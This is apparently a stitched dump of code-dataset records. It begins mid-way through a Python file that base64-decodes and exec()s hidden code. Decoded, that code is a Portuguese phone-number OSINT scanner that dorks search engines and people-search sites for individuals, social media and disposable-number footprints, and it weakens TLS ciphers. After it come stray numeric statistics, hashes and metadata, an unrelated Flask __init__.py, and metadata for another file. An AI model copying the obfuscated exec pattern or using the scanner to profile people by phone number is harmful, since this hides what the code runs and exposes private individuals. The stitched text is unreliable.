Jjb3VudHJ5X3ByZWZpeCJdfSkge2RhdGFbImxvY2FsX2Zvcm1hdCJdfScpCiAgICAgICAgcHJpbnQoCiAgICAgICAgICAgIGYnUGHDrXM6e0J9IHtkYXRhWyJjb3VudHJ5X25hbWUiXX0gKHtkYXRhWyJjb3VudHJ5X2NvZGUiXX0pJykKICAgICAgICBwcmludChmJ0NpZGFkZS9Fc3RhZG86e0J9IHtkYXRhWyJsb2NhdGlvbiJdfScpCiAgICAgICAgcHJpbnQoZidPcGVyYWRvcmE6IHtCfXtkYXRhWyJjYXJyaWVyIl19JykKICAgICAgICBwcmludChmJ1RpcG8gZGUgbGluaGE6e0J9IHtkYXRhWyJsaW5lX3R5cGUiXX0nKQoKICAgICAgICBpZiBkYXRhWyJsaW5lX3R5cGUiXSA9PSAnbGFuZGxpbmUnOgogICAgICAgICAgICBwcmludCgoIlByb3ZhdmVsbWVudGUgw6kgdW0gdGVsZWZvbmUgZml4bywgbWFzIGFpbmRhIHBvZGUgc2VyIHVtIG7Dum1lcm8gVm9JUCBmaXhvLiIpKQogICAgICAgIGVsaWYgZGF0YVsibGluZV90eXBlIl0gPT0gJ21vYmlsZSc6CiAgICAgICAgICAgIHByaW50KCgiUHJvdmF2ZWxtZW50ZSDDqSB1bSBuw7ptZXJvIGRlIGNlbHVsYXIsIG1hcyBhaW5kYSBwb2RlIHNlciB1bSBuw7ptZXJvIFZvSVAuIikpCgogICAgZGVmIG92aFNjYW4oKToKICAgICAgICBnbG9iYWwgbG9jYWxOdW1iZXIKICAgICAgICBnbG9iYWwgbnVtYmVyQ291bnRyeQoKICAgICAgICBwcmludCgne31be31FUlJPUnt9XUV4ZWN1dGFuZG8gT1ZIIHNjYW4uLi4nLmZvcm1hdChDLCBSLCBDKSkKCiAgICAgICAgcXVlcnlzdHJpbmcgPSB7IlBhw61zIjogbnVtYmVyQ291bnRyeS5sb3dlcigpfQoKICAgICAgICBoZWFkZXJzID0gewogICAgICAgICAgICAnYWNjZXB0JzogImFwcGxpY2F0aW9uL2pzb24iLAogICAgICAgICAgICAnY2FjaGUtY29udHJvbCc6ICJuby1jYWNoZSIKICAgICAgICB9CgogICAgICAgIHRyeToKICAgICAgICAgICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5yZXF1ZXN0KAogICAgICAgICAgICAgICAgIkdFVCIsICJodHRwczovL2FwaS5vdmguY29tLzEuMC90ZWxlcGhvbnkvbnVtYmVyL2RldGFpbGVkWm9uZXMiLCBkYXRhPSIiLCBoZWFkZXJzPWhlYWRlcnMsCiAgICAgICAgICAgICAgICBwYXJhbXM9cXVlcnlzdHJpbmcpCiAgICAgICAgICAgIGRhdGEgPSBqc29uLmxvYWRzKHJlc3BvbnNlLmNvbnRlbnQuZGVjb2RlKCd1dGYtOCcpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoJ0FQSSBPVkggaW5hY2Vzc8OtdmVsLiBUYWx2ZXogdGVudGUgbm92YW1lbnRlIG1haXMgdGFyZGUuJykKICAgICAgICAgICAgcmV0dXJuIC0xCgogICAgICAgIGlmIGlzaW5zdGFuY2UoZGF0YSwgbGlzdCk6CiAgICAgICAgICAgIGFza2VkTnVtYmVyID0gIjAiICsgbG9jYWxOdW1iZXIucmVwbGFjZShsb2NhbE51bWJlclstNDpdLCAneHh4eCcpCgogICAgICAgICAgICBmb3Igdm9pcF9udW1iZXIgaW4gZGF0YToKICAgICAgICAgICAgICAgIGlmIHZvaXBfbnVtYmVyWydudW1iZXInXSA9PSBhc2tlZE51bWJlcjoKICAgICAgICAgICAgICAgICAgICBwcmludCgoIjEgcmVzdWx0YWRvIGVuY29udHJhZG8gbmEgYmFzZSBkZSBkYWRvcyBPVkgiKSkKICAgICAgICAgICAgICAgICAgICBwcmludCgKICAgICAgICAgICAgICAgICAgICAgICAgKGYiSW50ZXJ2YWxvIG51bcOpcmljbzp7Qn0ge3ZvaXBfbnVtYmVyWydudW1iZXInXX0iKSkKICAgICAgICAgICAgICAgICAgICBwcmludCgoZiJDaWRhZGU6e0J9IHt2b2lwX251bWJlclsnY2l0eSddfSIpKQogICAgICAgICAgICAgICAgICAgIHByaW50KCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZiJDw7NkaWdvIHBvc3RhbDoge0J9IHt2b2lwX251bWJlclsnemlwQ29kZSddIGlmIHZvaXBfbnVtYmVyWyd6aXBDb2RlJ10gaXMgbm90IE5vbmUgZWxzZSBhc2tGb3JFeGl0KCl9IikpCgogICAgZGVmIHJlcGxhY2VWYXJpYWJsZXMoc3RyaW5nKToKICAgICAgICBnbG9iYWwgbnVtYmVyCiAgICAgICAgZ2xvYmFsIGludGVybmF0aW9uYWxOdW1iZXIKICAgICAgICBnbG9iYWwgbG9jYWxOdW1iZXIKCiAgICAgICAgc3RyaW5nID0gc3RyaW5nLnJlcGxhY2UoJyRuJywgbnVtYmVyKQogICAgICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKCckaScsIGludGVybmF0aW9uYWxOdW1iZXIpCiAgICAgICAgc3RyaW5nID0gc3RyaW5nLnJlcGxhY2UoJyRsJywgbG9jYWxOdW1iZXIpCgogICAgICAgIHJldHVybiBzdHJpbmcKCiAgICBkZWYgb3NpbnRJbmRpdmlkdWFsU2NhbigpOgogICAgICAgIGdsb2JhbCBudW1iZXIKICAgICAgICBnbG9iYWwgaW50ZXJuYXRpb25hbE51bWJlcgogICAgICAgIGdsb2JhbCBudW1iZXJDb3VudHJ5Q29kZQogICAgICAgIGdsb2JhbCBjdXN0b21Gb3JtYXR0aW5nCgogICAgICAgIGRvcmtzID0ganNvbi5sb2FkKG9wZW4oJ29zaW50L2luZGl2aWR1YWxzLmpzb24nKSkKCiAgICAgICAgZm9yIGRvcmsgaW4gZG9ya3M6CiAgICAgICAgICAgIGlmIGRvcmtbJ2RpYWxDb2RlJ10gaXMgTm9uZSBvciBkb3JrWydkaWFsQ29kZSddID09IG51bWJlckNvdW50cnlDb2RlOgogICAgICAgICAgICAgICAgaWYgY3VzdG9tRm9ybWF0dGluZzoKICAgICAgICAgICAgICAgICAgICBkb3JrUmVxdWVzdCA9IHJlcGxhY2VWYXJpYWJsZXMoCiAgICAgICAgICAgICAgICAgICAgICAgIGRvcmtbJ3JlcXVlc3QnXSkgKyAnIHwgaW50ZXh0OiJ7fSInLmZvcm1hdChjdXN0b21Gb3JtYXR0aW5nKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBkb3JrUmVxdWVzdCA9IHJlcGxhY2VWYXJpYWJsZXMoZG9ya1sncmVxdWVzdCddKQoKICAgICAgICAgICAgICAgIHByaW50KAogICAgICAgICAgICAgICAgICAgICgiUHJvY3VyYW5kbyBmb290cHJpbnRzIGVtIHt9Li4uIi5mb3JtYXQoZG9ya1snc2l0ZSddKSkpCgogICAgICAgICAgICAgICAgZm9yIHJlc3VsdCBpbiBzZWFyY2goZG9ya1JlcXVlc3QsIHN0b3A9ZG9ya1snc3RvcCddKToKICAgICAgICAgICAgICAgICAgICBwcmludCgoIlVSTDogIiArIHJlc3VsdCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICByZXR1cm4gLTEKCiAgICBkZWYgb3NpbnRSZXB1dGF0aW9uU2NhbigpOgogICAgICAgIGdsb2JhbCBudW1iZXIKICAgICAgICBnbG9iYWwgaW50ZXJuYXRpb25hbE51bWJlcgogICAgICAgIGdsb2JhbCBjdXN0b21Gb3JtYXR0aW5nCgogICAgICAgIGRvcmtzID0ganNvbi5sb2FkKG9wZW4oJ29zaW50L3JlcHV0YXRpb24uanNvbicpKQoKICAgICAgICBmb3IgZG9yayBpbiBkb3JrczoKICAgICAgICAgICAgaWYgY3VzdG9tRm9ybWF0dGluZzoKICAgICAgICAgICAgICAgIGRvcmtSZXF1ZXN0ID0gcmVwbGFjZVZhcmlhYmxlcygKICAgICAgICAgICAgICAgICAgICBkb3JrWydyZXF1ZXN0J10pICsgJyB8IGludGV4dDoie30iJy5mb3JtYXQoY3VzdG9tRm9ybWF0dGluZykKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIGRvcmtSZXF1ZXN0ID0gcmVwbGFjZVZhcmlhYmxlcyhkb3JrWydyZXF1ZXN0J10pCgogICAgICAgICAgICBwcmludCgoIlByb2N1cmFuZG8gcG9yIHt9Li4uIi5mb3JtYXQoZG9ya1sndGl0bGUnXSkpKQogICAgICAgICAgICBmb3IgcmVzdWx0IGluIHNlYXJjaChkb3JrUmVxdWVzdCwgc3RvcD1kb3JrWydzdG9wJ10pOgogICAgICAgICAgICAgICAgcHJpbnQoKCJVUkw6ICIgKyByZXN1bHQpKQoKICAgIGRlZiBvc2ludFNvY2lhbE1lZGlhU2NhbigpOgogICAgICAgIGdsb2JhbCBudW1iZXIKICAgICAgICBnbG9iYWwgaW50ZXJuYXRpb25hbE51bWJlcgogICAgICAgIGdsb2JhbCBjdXN0b21Gb3JtYXR0aW5nCgogICAgICAgIGRvcmtzID0ganNvbi5sb2FkKG9wZW4oJ29zaW50L3NvY2lhbF9tZWRpYXMuanNvbicpKQoKICAgICAgICBmb3IgZG9yayBpbiBkb3JrczoKICAgICAgICAgICAgaWYgY3VzdG9tRm9ybWF0dGluZzoKICAgICAgICAgICAgICAgIGRvcmtSZXF1ZXN0ID0gcmVwbGFjZVZhcmlhYmxlcygKICAgICAgICAgICAgICAgICAgICBkb3JrWydyZXF1ZXN0J10pICsgJyB8IGludGV4dDoie30iJy5mb3JtYXQoY3VzdG9tRm9ybWF0dGluZykKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIGRvcmtSZXF1ZXN0ID0gcmVwbGFjZVZhcmlhYmxlcyhkb3JrWydyZXF1ZXN0J10pCgogICAgICAgICAgICBwcmludCgKICAgICAgICAgICAgICAgICgiUHJvY3VyYW5kbyBmb290cHJpbnRzIGVtIHt9Li4uIi5mb3JtYXQoZG9ya1snc2l0ZSddKSkpCgogICAgICAgICAgICBmb3IgcmVzdWx0IGluIHNlYXJjaChkb3JrUmVxdWVzdCwgc3RvcD1kb3JrWydzdG9wJ10pOgogICAgICAgICAgICAgICAgcHJpbnQoKCJVUkw6ICIgKyByZXN1bHQpKQoKICAgIGRlZiBvc2ludERpc3Bvc2FibGVOdW1TY2FuKCk6CiAgICAgICAgZ2xvYmFsIG51bWJlcgoKICAgICAgICBkb3JrcyA9IGpzb24ubG9hZChvcGVuKCdvc2ludC9kaXNwb3NhYmxlX251bV9wcm92aWRlcnMuanNvbicpKQoKICAgICAgICBmb3IgZG9yayBpbiBkb3JrczoKICAgICAgICAgICAgZG9ya1JlcXVlc3QgPSByZXBsYWNlVmFyaWFibGVzKGRvcmtbJ3JlcXVlc3QnXSkKCiAgICAgICAgICAgIHByaW50KAogICAgICAgICAgICAgICAgKCJQcm9jdXJhbmRvIGZvb3RwcmludHMgZW0ge30uLi4iLmZvcm1hdChkb3JrWydzaXRlJ10pKSkKCiAgICAgICAgICAgIGZvciByZXN1bHQgaW4gc2VhcmNoKGRvcmtSZXF1ZXN0LCBzdG9wPWRvcmtbJ3N0b3AnXSk6CiAgICAgICAgICAgICAgICBwcmludCgoIlJlc3VsdCBmb3VuZDoge30iLmZvcm1hdChkb3JrWydzaXRlJ10pKSkKICAgICAgICAgICAgICAgIHByaW50KCgiVVJMOiAiICsgcmVzdWx0KSkKICAgICAgICAgICAgICAgIGFza0ZvckV4aXQoKQoKICAgIGRlZiBvc2ludFNjYW4ocmVydW49RmFsc2UpOgogICAgICAgIGdsb2JhbCBudW1iZXIKICAgICAgICBnbG9iYWwgbG9jYWxOdW1iZXIKICAgICAgICBnbG9iYWwgaW50ZXJuYXRpb25hbE51bWJlcgogICAgICAgIGdsb2JhbCBudW1iZXJDb3VudHJ5Q29kZQogICAgICAgIGdsb2JhbCBjdXN0b21Gb3JtYXR0aW5nCgogICAgICAgIHByaW50KCdFeGVjdcOnw6NvIGRlIHJlY29uaGVjaW1lbnRvIGRlIGZvb3RwcmludHMgT1NJTlQuLi4nKQoKICAgICAgICBpZiBub3QgcmVydW46CiAgICAgICAgICAgIHByaW50KCgiR2VyYW5kbyBzY2FuIFVSTCBlbSA0MTEuY29tLi4uIikpCiAgICAgICAgICAgIHByaW50KCJTY2FuIFVSTDogaHR0cHM6Ly93d3cuNDExLmNvbS9waG9uZS97fSIuZm9ybWF0KAogICAgICAgICAgICAgICAgaW50ZXJuYXRpb25hbE51bWJlci5yZXBsYWNlKCcrJywgJycpLnJlcGxhY2UoJyAnLCAnLScpKSkKCiAgICAgICAgICAgIGFza2luZ0N1c3RvbVBheWxvYWQgPSBpbnB1dCgKICAgICAgICAgICAgICAgICdWb2PDqiBnb3N0YXJpYSBkZSB1c2FyIHVtIGZvcm1hdG8gYWRpY2lvbmFsIHBhcmEgZXN0ZSBuw7ptZXJvP1t5L25dICcpCgogICAgICAgIGlmIHJlcnVuIG9yIGFza2luZ0N1c3RvbVBheWxvYWQgPT0gJ3knIG9yIGFza2luZ0N1c3RvbVBheWxvYWQgPT0gJ3llcyc6CiAgICAgICAgICAgIGN1c3RvbUZvcm1hdHRpbmcgPSBpbnB1dCgnQ3VzdG9tIGZvcm1hdDogJykKCiAgICAgICAgcHJpbnQoKCdQw6FnaW5hcyBXZWIgZm9vdHByaW50cycpKQoKICAgICAgICBwcmludCgoIlBlc3F1aXNhbmRvIGZvb3RwcmludHMgZW0gcMOhZ2luYXMgZGEgd2ViLi4uIChsaW1pdD0xMCkiKSkKICAgICAgICBpZiBjdXN0b21Gb3JtYXR0aW5nOgogICAgICAgICAgICByZXEgPSAne30gfCBpbnRleHQ6Int9IiB8IGludGV4dDoie30iIHwgaW50ZXh0OiJ7fSInLmZvcm1hdCgKICAgICAgICAgICAgICAgIG51bWJlciwgbnVtYmVyLCBpbnRlcm5hdGlvbmFsTnVtYmVyLCBjdXN0b21Gb3JtYXR0aW5nKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHJlcSA9ICd7fSB8IGludGV4dDoie30iIHwgaW50ZXh0OiJ7fSInLmZvcm1hdCgKICAgICAgICAgICAgICAgIG51bWJlciwgbnVtYmVyLCBpbnRlcm5hdGlvbmFsTnVtYmVyKQoKICAgICAgICBmb3IgcmVzdWx0IGluIHNlYXJjaChyZXEsIHN0b3A9MTApOgogICAgICAgICAgICBwcmludCgoIlJlc3VsdGFkbyBlbmNvbnRyYWRvOiAiICsgcmVzdWx0KSkKCiAgICAgICAgcHJpbnQoKCJQcm9jdXJhbmRvIGRvY3VtZW50b3MuLi4gKGxpbWl0PTEwKSIpKQogICAgICAgIGlmIGN1c3RvbUZvcm1hdHRpbmc6CiAgICAgICAgICAgIHJlcSA9ICdbZXh0OmRvYyB8IGV4dDpkb2N4IHwgZXh0Om9kdCB8IGV4dDpwZGYgfCBleHQ6cnRmIHwgZXh0OnN4dyB8IGV4dDpwc3cgfCBleHQ6cHB0IHwgZXh0OnBwdHggfCBleHQ6cHBzIHwgZXh0OmNzdiB8IGV4dDp0eHQgICAgIHwgZXh0Onhsc10gJiYgW2ludGV4dDoie30iXScuZm9ybWF0KAogICAgICAgICAgICAgICAgY3VzdG9tRm9ybWF0dGluZykKICAgICAgICBlbHNlOgogICAgICAgICAgICByZXEgPSAnW2V4dDpkb2MgfCBleHQ6ZG9jeCB8IGV4dDpvZHQgfCBleHQ6cGRmIHwgZXh0OnJ0ZiB8IGV4dDpzeHcgfCBleHQ6cHN3IHwgZXh0OnBwdCB8IGV4dDpwcHR4IHwgZXh0OnBwcyB8IGV4dDpjc3YgfCBleHQ6dHh0IHwgZXh0Onhsc10gJiYgW2ludGV4dDoie30iIHwgaW50ZXh0OiJ7fSJdJy5mb3JtYXQoCiAgICAgICAgICAgICAgICBpbnRlcm5hdGlvbmFsTnVtYmVyLCBsb2NhbE51bWJlcikKICAgICAgICBmb3IgcmVzdWx0IGluIHNlYXJjaChyZXEsIHN0b3A9MTApOgogICAgICAgICAgICBwcmludCgoIlJlc3VsdGFkbyBlbmNvbnRyYWRvOiAiICsgcmVzdWx0KSkKCiAgICAgICAgcHJpbnQoKCdGb290cHJpbnRzIGRlIHJlcHV0YcOnw6NvLi4uJykpCgogICAgICAgIG9zaW50UmVwdXRhdGlvblNjYW4oKQoKICAgICAgICBwcmludCgoIkdlcmFuZG8gVVJMIGVtIHNjYW1jYWxsZmlnaHRlcnMuY29tLi4uIikpCiAgICAgICAgcHJpbnQoCiAgICAgICAgICAgICdodHRwOi8vd3d3LnNjYW1jYWxsZmlnaHRlcnMuY29tL3NlYXJjaC1waG9uZS17fS5odG1sJy5mb3JtYXQobnVtYmVyKSkKCiAgICAgICAgdG1wTnVtQXNrID0gaW5wdXQoCiAgICAgICAgICAgICJWb2PDqiBnb3N0YXJpYSBkZSBwZXNxdWlzYXIgZm9vdHByaW50cyBkZSBwcm92ZWRvcmVzIGRlIG7Dum1lcm9zIHRlbXBvcsOhcmlvcz9beS9uXSIpCgogICAgICAgIGlmIHRtcE51bUFzay5sb3dlcigpICE9ICduJyBhbmQgdG1wTnVtQXNrLmxvd2VyKCkgIT0gJ25vJzoKICAgICAgICAgICAgcHJpbnQoKCdGb290cHJpbnRzIGVtIHByb3ZlZG9yZXMgZGUgbsO6bWVyb3MgdGVtcG9yw6FyaW9zJykpCgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBwcmludCgoIlBlc3F1aXNhbmRvIG7Dum1lcm8gZGUgdGVsZWZvbmUgZW0gdGVtcG9waG9uZS5jb20uLi4iKSkKICAgICAgICAgICAgICAgIHJlc3BvbnNlID0gcmVxdWVzdHMucmVxdWVzdCgKICAgICAgICAgICAgICAgICAgICAiR0VUIiwgImh0dHBzOi8vdGVtcG9waG9uZS5jb20vYXBpL3YxL3Bob25lcyIpCiAgICAgICAgICAgICAgICBkYXRhID0ganNvbi5sb2FkcyhyZXNwb25zZS5jb250ZW50LmRlY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgICAgIGZvciB2b2lwX251bWJlciBpbiBkYXRhWydvYmplY3RzJ106CiAgICAgICAgICAgICAgICAgICAgaWYgdm9pcF9udW1iZXJbJ3Bob25lJ10gPT0gZm9ybWF0TnVtYmVyKG51bWJlcik6CiAgICAgICAgICAgICAgICAgICAgICAgIHByaW50KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKCJFbmNvbnRyYWRvIHVtIHByb3ZlZG9yIGRlIG7Dum1lcm8gdGVtcG9yw6FyaW86IHRlbXBvcGhvbmUuY29tIikpCiAgICAgICAgICAgICAgICAgICAgICAgIGFza0ZvckV4aXQoKQogICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgICBwcmludCgoIk7Do28gZm9pIHBvc3PDrXZlbCBhY2Vzc2FyIGEgQVBJIHRlbXBvcGhvbmUuY29tLiBQdWxhbmRvIGV0YXBhLi4uIikpCgogICAgICAgICAgICBvc2ludERpc3Bvc2FibGVOdW1TY2FuKCkKCiAgICAgICAgcHJpbnQoKCdGb290cHJpbnRzIGRlIG3DrWRpYSBzb2NpYWwnKSkKCiAgICAgICAgb3NpbnRTb2NpYWxNZWRpYVNjYW4oKQoKICAgICAgICBwcmludCgoJ0Zvb3RwcmludHMgZGUgbGlzdGFzIHRlbGVmw7RuaWNhcycpKQoKICAgICAgICBpZiBudW1iZXJDb3VudHJ5Q29kZSA9PSAnKzEnOgogICAgICAgICAgICBwcmludCgoIkdlcmFuZG8gVVJMIGVtIFRydWVQZW9wbGVTZWFyY2guY29tLi4uICIpKQogICAgICAgICAgICBwcmludCgnaHR0cHM6Ly93d3cudHJ1ZXBlb3BsZXNlYXJjaC5jb20vcmVzdWx0cz9waG9uZW5vPXt9Jy5mb3JtYXQoCiAgICAgICAgICAgICAgICBpbnRlcm5hdGlvbmFsTnVtYmVyLnJlcGxhY2UoJyAnLCAnJykpKQoKICAgICAgICBvc2ludEluZGl2aWR1YWxTY2FuKCkKCiAgICAgICAgcmV0cnlfaW5wdXQgPSBpbnB1dCgKICAgICAgICAgICAgIlZvY8OqIGdvc3RhcmlhIGRlIGV4ZWN1dGFyIG5vdmFtZW50ZSBhIHZhcnJlZHVyYSBPU0lOVD8gKHBvciBleGVtcGxvLCBwYXJhIHVzYXIgdW0gZm9ybWF0byBkaWZlcmVudGUpW3Mvbl0iKQoKICAgICAgICBpZiByZXRyeV9pbnB1dC5sb3dlcigpID09ICd5JyBvciByZXRyeV9pbnB1dC5sb3dlcigpID09ICd5ZXMnOgogICAgICAgICAgICBvc2ludFNjYW4oVHJ1ZSkKICAgICAgICBlbHNlOgogICAgICAgICAgICByZXR1cm4gLTEKCiAgICBkZWYgYXNrRm9yRXhpdCgpOgogICAgICAgIGlmIG5vdCBvdXRwdXQ6CiAgICAgICAgICAgIHVzZXJfaW5wdXQgPSBpbnB1dCgiQ29udGludWFyIHNjYW5uaW5nP1t5L25dICIpCgogICAgICAgICAgICBpZiB1c2VyX2lucHV0Lmxvd2VyKCkgPT0gJ3knIG9yIHVzZXJfaW5wdXQubG93ZXIoKSA9PSAneWVzJzoKICAgICAgICAgICAgICAgIHJldHVybiAtMQogICAgICAgICAgICBlbHNlOgoKICAgICAgICAgICAgICAgIHN5cy5leGl0KCkKCiAgICBkZWYgc2Nhbk51bWJlcihJbnB1dE51bWJlcik6CiAgICAgICAgZ2xvYmFsIG51bWJlcgogICAgICAgIGdsb2JhbCBsb2NhbE51bWJlcgogICAgICAgIGdsb2JhbCBpbnRlcm5hdGlvbmFsTnVtYmVyCiAgICAgICAgZ2xvYmFsIG51bWJlckNvdW50cnlDb2RlCiAgICAgICAgZ2xvYmFsIG51bWJlckNvdW50cnkKICAgICAgICBjbGVhcigpCiAgICAgICAgcHJpbnQoZiJCdXNjYW5kbyBpbmZvcm1hw6fDtWVzIHBhcmF7Qn0ge2Zvcm1hdE51bWJlcihJbnB1dE51bWJlcil9e0N9Li4uIikKCiAgICAgICAgbG9jYWxTY2FuKElucHV0TnVtYmVyKQoKICAgICAgICBpZiBub3QgJ251bWJlcic6CiAgICAgICAgICAgIHByaW50KChmIkVycm86IG8gbsO6bWVyb3tCfXtmb3JtYXROdW1iZXIoSW5wdXROdW1iZXIpfXtDfSBpbnbDoWxpZG8uIikpCiAgICAgICAgICAgICMgYWdhaW4oKQoKICAgICAgICBudW12ZXJpZnlTY2FuKCkKICAgICAgICBvdmhTY2FuKCkKICAgICAgICBvc2ludFNjYW4oKQoKICAgICAgICBwcmludCgiU2NhbiBjb25jbHXDrWRvLiIpCiAgICAgICAgIyBhZ2FpbigpCgogICAgICAgICMgaWYgbm90IG5vX2Fuc2kgYW5kIG5vdCBvdXRwdXQ6CiAgICAgICAgIyBwcmludChTdHlsZS5SRVNFVF9BTEwpCgogICAgZGVmIGRvd25sb2FkX2ZpbGUodXJsLCB0YXJnZXRfcGF0aCk6CiAgICAgICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5nZXQodXJsLCBzdHJlYW09VHJ1ZSkKICAgICAgICBoYW5kbGUgPSBvcGVuKHRhcmdldF9wYXRoLCAid2IiKQogICAgICAgIGZvciBjaHVuayBpbiByZXNwb25zZS5pdGVyX2NvbnRlbnQoY2h1bmtfc2l6ZT01MTIpOgogICAgICAgICAgICBpZiBjaHVuazoKICAgICAgICAgICAgICAgIGhhbmRsZS53cml0ZShjaHVuaykKCiAgICAgICAgb3NpbnRGaWxlcyA9IFsKICAgICAgICAgICAgJ2Rpc3Bvc2FibGVfbnVtX3Byb3ZpZGVycy5qc29uJywKICAgICAgICAgICAgJ2luZGl2aWR1YWxzLmpzb24nLAogICAgICAgICAgICAncmVwdXRhdGlvbi5qc29uJywKICAgICAgICAgICAgJ3NvY2lhbF9tZWRpYXMuanNvbicKICAgICAgICBdCgogICAgZGVmIG1haW4oKToKCiAgICAgICAgcmVxdWVzdHMucGFja2FnZXMudXJsbGliMy5kaXNhYmxlX3dhcm5pbmdzKCkKICAgICAgICByZXF1ZXN0cy5wYWNrYWdlcy51cmxsaWIzLnV0aWwuc3NsXy5ERUZBVUxUX0NJUEhFUlMgKz0gJ0hJR0g6IURIOiFhTlVMTCcKICAgICAgICB0cnk6CiAgICAgICAgICAgIHJlcXVlc3RzLnBhY2thZ2VzLnVybGxpYjMuY29udHJpYi5weW9wZW5zc2wuREVGQVVMVF9TU0xfQ0lQSEVSX0xJU1QgKz0gJ0hJR0g6IURIOiFhTlVMTCcKICAgICAgICBleGNlcHQgQXR0cmlidXRlRXJyb3I6CiAgICAgICAgICAgIHBhc3MKCiAgICBudW1iZXIgPSBpbnB1dChmIntDfVt7R31pe0N9XSBJbmZvcm1lIG9zIG7Dum1lcm9zIChzZW0gZXNwYcOnb3MsIHBhcsOqbnRlc2VzIGUgdHJhw6dvKToge0J9IikKICAgIHNjYW5OdW1iZXIobnVtYmVyKQoKICAgIGRlZiBhZ2FpbigpOgogICAgICAgIGFnYWluID0gaW5wdXQoIlxuIiArIGYne0N9W3tHfSt7Q31dIERlc2VqYSByZWFsaXphciB1bWEgbm92YSBjb25zdWx0YT9be0d9c3tDfS97Un1ue0N9XTogJykKICAgICAgICBpZiBhZ2FpbiA9PSAicyIgb3IgYWdhaW4gPT0gInNpbSI6CiAgICAgICAgICAgIGNsZWFyKCkKICAgICAgICAgICAgbWFpbigpCiAgICAgICAgZWxpZiBhZ2FpbiA9PSAibmFvIiBvciBhZ2FpbiA9PSAibiI6CiAgICAgICAgICAgIHBhc3MKCiAgICBtYWluKCkKCgpkZWYgbm9tZW1hZSgpOgogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICBwcmludChmJ3tDfVt7R31pe0N9XSBUZW1wb3JhcmlhbWVudGUgT2ZmJykKICAgIHRpbWUuc2xlZXAoMikKICAgIHBhc3MK ''')) exec(b)
5,830.076923
75,629
0.998813
62
75,791
1,220.983871
0.806452
0.000317
0
0
0
0
0
0
0
0
0
0.110674
0.000369
75,791
12
75,630
6,315.916667
0.888508
0
0
0.181818
0
0.090909
0.998034
0.997533
0
1
0
0
0
1
0
false
0
0.363636
0
0.363636
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
1
0
0
0
0
7
3b547d8380e762f00b7b59ad808b2f096200866c
313
py
Python
flask_ac/__init__.py
gawainguo/Flask-AC
6b7c7ebe7721b1208d7596999ce29852a7e1879c
[ "MIT" ]
3
2018-11-09T09:06:01.000Z
2018-11-11T15:38:45.000Z
flask_ac/__init__.py
gawainguo/Flask-AC
6b7c7ebe7721b1208d7596999ce29852a7e1879c
[ "MIT" ]
1
2018-11-11T15:39:04.000Z
2018-11-15T02:31:32.000Z
flask_ac/__init__.py
gawainguo/Flask-AC
6b7c7ebe7721b1208d7596999ce29852a7e1879c
[ "MIT" ]
null
null
null
from .ac_manager import ACManager from .utils import ( roles_required, permissions_required, get_child_permissions, get_all_child_permissions_for_user ) __all__ = [ 'ACManager', 'roles_required', 'permissions_required', 'get_child_permissions', 'get_all_child_permissions_for_user' ]
22.357143
61
0.760383
36
313
5.972222
0.388889
0.297674
0.223256
0.297674
0.744186
0.744186
0.744186
0.744186
0.744186
0.744186
0
0
0.162939
313
13
62
24.076923
0.820611
0
0
0
0
0
0.313099
0.175719
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
8e96eaff1a4f1a04fbb3932c91f76a86be3c7400
140
py
Python
cameleon/envs/__init__.py
SRI-AIC/cameleon
d84422f064b1c86105038842335a7c433d5469ee
[ "BSD-3-Clause" ]
1
2021-11-18T22:05:18.000Z
2021-11-18T22:05:18.000Z
cameleon/envs/__init__.py
SRI-AIC/cameleon
d84422f064b1c86105038842335a7c433d5469ee
[ "BSD-3-Clause" ]
null
null
null
cameleon/envs/__init__.py
SRI-AIC/cameleon
d84422f064b1c86105038842335a7c433d5469ee
[ "BSD-3-Clause" ]
1
2021-11-20T03:44:00.000Z
2021-11-20T03:44:00.000Z
import os import sys from cameleon.grid import * from cameleon.envs.large_dynamic_obstacles import * from cameleon.envs.canniballs import *
23.333333
51
0.828571
20
140
5.7
0.55
0.315789
0.315789
0.385965
0
0
0
0
0
0
0
0
0.114286
140
5
52
28
0.919355
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
8ec2844f2cecded06e70e8a3b8e2aba36ba1e64a
5,738
py
Python
premade_modules/2.80/e5e885d0ecb9430a73e0a904cdb6035a2ef77e98/bpy/ops/surface.py
echantry/fake-bpy-module
004cdf198841e639b7d9a4c4db95ca1c0d3aa2c7
[ "MIT" ]
null
null
null
premade_modules/2.80/e5e885d0ecb9430a73e0a904cdb6035a2ef77e98/bpy/ops/surface.py
echantry/fake-bpy-module
004cdf198841e639b7d9a4c4db95ca1c0d3aa2c7
[ "MIT" ]
null
null
null
premade_modules/2.80/e5e885d0ecb9430a73e0a904cdb6035a2ef77e98/bpy/ops/surface.py
echantry/fake-bpy-module
004cdf198841e639b7d9a4c4db95ca1c0d3aa2c7
[ "MIT" ]
null
null
null
